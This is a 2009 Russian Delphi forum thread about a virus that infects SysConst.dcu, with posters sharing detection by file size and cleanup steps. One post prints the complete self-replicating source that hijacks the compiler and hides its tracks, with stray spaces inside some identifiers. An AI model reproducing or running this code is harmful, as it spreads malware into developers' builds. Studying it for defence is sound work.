Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Delphi программирование > Общие вопросы Delphi
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 13.08.2009, 14:04   #21
Пепел Феникса
Старожил
 
Аватар для Пепел Феникса
 
Регистрация: 28.01.2009
Сообщений: 21,000
По умолчанию

я был заразный.

так вот мои исследования этой заразы:
при ней(и естественно если есть исходники этого самого файла)
при запуске программу через трассировку(с самого начала...никаких ран...и бряков), то на этом модуле трассировка спотыкается..то есть не проходит дальше...или долго проходит..

Стилет, одинаковая дата, это еще не признак отсутствия заразы.
вы лучше вес сравните.

я вылечил её так.
удалил этот dcu и создав новый проект...добавил в uses SysConst(на всякий)
и скомпилировал...
итог: я имею чистую версию SysConst на компе
в Дельфи 6 он весит(у меня) 10,3 Кб

Цитата:
Сделал по второму. Это действительно лучше?
да...я считаю ваш метод и свой, самими надежными

-------------------------------------------------
хотя не факт...а если дистрибутив заразен?
Хорошо поставленный вопрос это уже половина ответа. | Каков вопрос, таков ответ.
Программа делает то что написал программист, а не то что он хотел.
Функции/утилиты ждут в параметрах то что им надо, а не то что вы хотите.

Последний раз редактировалось Пепел Феникса; 13.08.2009 в 14:16.
Пепел Феникса вне форума Ответить с цитированием
Старый 13.08.2009, 14:28   #22
Demien
Форумчанин
 
Аватар для Demien
 
Регистрация: 01.08.2007
Сообщений: 222
По умолчанию

Delphi 7. Заражен... ((
Еще одно "но": У меня названия файлов состояли только из мелких букв (sysconst.dcu, sysconst.bak).
Жить тоже вредно, от этого умирают!!!
Demien вне форума Ответить с цитированием
Старый 13.08.2009, 14:35   #23
JTG
я получил эту роль
Старожил
 
Аватар для JTG
 
Регистрация: 25.05.2007
Сообщений: 3,694
По умолчанию

Цитата:
а если дистрибутив заразен?
Цитата:
— Ты серьезно думаешь, что миру придет конец?
— Да.
— Может, нам лечь или надеть на голову бумажные пакеты?
— Если хотите.
— А это поможет?
— Нет.
________
пыщь
JTG вне форума Ответить с цитированием
Старый 13.08.2009, 14:35   #24
OCTAGRAM
Oldschool geek
Форумчанин
 
Аватар для OCTAGRAM
 
Регистрация: 09.03.2009
Сообщений: 611
По умолчанию

А если связывать рантайм динамически, зараза тоже распространяется?
If you want to get to the top, you have to start at the bottom

http://pascal.net.ru/
OCTAGRAM вне форума Ответить с цитированием
Старый 13.08.2009, 14:43   #25
Alter
Старожил
 
Аватар для Alter
 
Регистрация: 06.08.2007
Сообщений: 2,239
По умолчанию

Код выглядит примерно вот так([Delphi 7] В блокноте видно, размер замены ~17-18Кб. Реальный файл: ~11Кб):
Цитата:
uses windows;

var sc:array[1..24] of string=('uses windows; var sc:array[1..24] of string=(',
'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]',
'=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;',
'h:cardinal;f:STARTUPINFO;p:PROCESS _INFORMATION;b:boolean;t1,t2,t3:FIL ETIME;begin',
'h:=CreateFile(pchar(d+$bak$),0,0,0 ,3,0,0);if h<>DWORD(-1) then begin CloseHandle',
'(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile',
'(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while',
'not eof(f1) do begin readln(f1,s); writeln(f2,s); if pos($implementation$,s)<>0',
'then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2',
',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,',
'x(sc[h]));closefile(f1);closefile(f2);{$I+ }MoveFile(pchar(d+$dcu$),pchar(d+$b ak$',
')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.' ,
'wShowWindow:=SW_HIDE;b:=CreateProc ess(nil,pchar(e+$"$+d+$pas"$),0,0,f alse,0,0,0,',
'f,p);if b then WaitForSingleObject(p.hProcess,INFI NITE);MoveFile(pchar(d+$bak$),',
'pchar(d+$dcu$));DeleteFile(pchar(d +$pas$));h:=CreateFile(pchar(d+$bak $),0,0,0,3,',
'0,0); if h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=',
'CreateFile(pchar(d+$dcu$),256,0,0, 3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,',
'@t1,@t2,@t3); CloseHandle(h); end; procedure st; var k:HKEY;c:array [1..255] of',
'char; i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(',
'HKEY_LOCAL_MACHINE,pchar($Software \Borland\Delphi\$+v+$.0$),0,KEY_REA D,k)=0 then',
'begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i, @c,@i)=0 then begin r:=$$;i:=',
'1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+$\source\rtl\sys\S ysConst$+',
'$.pas$,r+$\lib\sysconst.$,$"$+r+$\ bin\dcc32.exe" $);end;RegCloseKey(k);end; end;',
'begin st; end.');

function x(s:string):string;
var i:integer;
begin
for i:=1 to length(s) do if s[i]=#36 then s[i]:=#39;
result:=s;
end;

procedure re(s,d,e:string);
var f1,f2:textfile;
h:cardinal;
f:STARTUPINFO;
p:PROCESS_INFORMATION;
b:boolean;
t1,t2,t3:FILETIME;
begin
h:=CreateFile(pchar(d+'bak'),0,0,0, 3,0,0);
if h<>DWORD(-1) then
begin
CloseHandle(h);
exit;
end;
{'I-}assignfile(f1,s);
reset(f1);
if ioresult<>0 then exit;
assignfile(f2,d+'pas');
rewrite(f2);
if ioresult<>0 then begin closefile(f1); exit; end;

while not eof(f1) do
begin
readln(f1,s);
writeln(f2,s);
if pos('implementation',s)<>0 then break;
end;

for h:= 1 to 1 do writeln(f2,sc[h]);
for h:= 1 to 23 do writeln(f2,''''+sc[h],''',');writeln(f2,''''+sc[24]+''');');
for h:= 2 to 24 do writeln(f2,x(sc[h]));
closefile(f1);
closefile(f2);
{'I+}MoveFile(pchar(d+'dcu'),pchar( d+'bak'));
fillchar(f,sizeof(f),0);
f.cb := sizeof(f);
f.dwFlags := STARTF_USESHOWWINDOW;
f.wShowWindow := SW_HIDE;
b := CreateProcess(nil,pchar(e+'"'+d+'pa s"'),0,0,false,0,0,0,f,p);
if b then WaitForSingleObject(p.hProcess,INFI NITE);
MoveFile(pchar(d+'bak'),pchar(d+'dc u'));
DeleteFile(pchar(d+'pas'));
h := CreateFile(pchar(d+'bak'),0,0,0,3,0 ,0);
if h=DWORD(-1) then exit;
GetFileTime(h,@t1,@t2,@t3);
CloseHandle(h);
h := CreateFile(pchar(d+'dcu'),256,0,0,3 ,0,0);
if h=DWORD(-1) then exit;
SetFileTime(h,@t1,@t2,@t3);
CloseHandle(h);
end;

procedure st;
var k:HKEY;c:array [1..255] of char;
i:cardinal;
r:string;
v:char;
begin
for v:='4' to '7' do
if RegOpenKeyEx(HKEY_LOCAL_MACHINE,pch ar('Software\Borland\Delphi\'+v+'.0 '),0,KEY_READ,k)=0 then
begin
i:=255;
if RegQueryValueEx(k,'RootDir',nil,@i, @c,@i)=0 then
begin
r:='';
i:=1;
while c[i]<>#0 do
begin
r:=r+c[i];
inc(i);
end;
re(r+'\source\rtl\sys\SysConst'+'.p as',r+'\lib\sysconst.','"'+r+'\bin\ dcc32.exe" ');
end;
RegCloseKey(k);
end;
end;

begin
st;
end.
Alter вне форума Ответить с цитированием
Старый 13.08.2009, 14:47   #26
Utkin
Старожил
 
Аватар для Utkin
 
Регистрация: 04.02.2009
Сообщений: 18,136
По умолчанию

А если sysconst.dcu только для чтения забабахать?
Маньяк-самоучка
Utkin появился в результате деления на нуль.
Осторожно! Альтернативная логика
Utkin вне форума Ответить с цитированием
Старый 13.08.2009, 15:20   #27
psycho-coder
Участник клуба
 
Аватар для psycho-coder
 
Регистрация: 06.04.2009
Сообщений: 1,524
По умолчанию

Забабахай, но Delphя может ругаться что не сможет скопировать шаблон)
Тогда для него (шаблона) нужно поставить соответствующие права)
psycho-coder вне форума Ответить с цитированием
Старый 13.08.2009, 15:23   #28
JTG
я получил эту роль
Старожил
 
Аватар для JTG
 
Регистрация: 25.05.2007
Сообщений: 3,694
По умолчанию

Это не поможет. Просто оставь sysconst.bak или запрети запись/удаление в правах NTFS
пыщь
JTG вне форума Ответить с цитированием
Старый 13.08.2009, 15:30   #29
puporev
Старожил
 
Регистрация: 13.10.2007
Сообщений: 2,740
По умолчанию

Зараженный и удаленный файл - 20 кб, тот же файл в дистрибутиве 11,3 кб.
puporev вне форума Ответить с цитированием
Старый 13.08.2009, 15:33   #30
Пепел Феникса
Старожил
 
Аватар для Пепел Феникса
 
Регистрация: 28.01.2009
Сообщений: 21,000
По умолчанию

значит дистрибутив чист(в семерке файл стока помоему весит)
Хорошо поставленный вопрос это уже половина ответа. | Каков вопрос, таков ответ.
Программа делает то что написал программист, а не то что он хотел.
Функции/утилиты ждут в параметрах то что им надо, а не то что вы хотите.
Пепел Феникса вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Реально ли написать на Delphi 7 свою библиотеку для Apache (PHP интерпр.) ? FLEX_NST PHP 1 05.07.2009 18:13
Проверьте правильность написания кода в delphi neomaximus Помощь студентам 2 09.04.2009 17:29
Please!!! Проверьте код по Delphi!!! Dmitriy-e-nest Помощь студентам 2 16.01.2009 15:41
Avast поднимает тревогу на создаваемые в delphi программы, пишет вирус Xemulb Софт 3 27.11.2008 21:37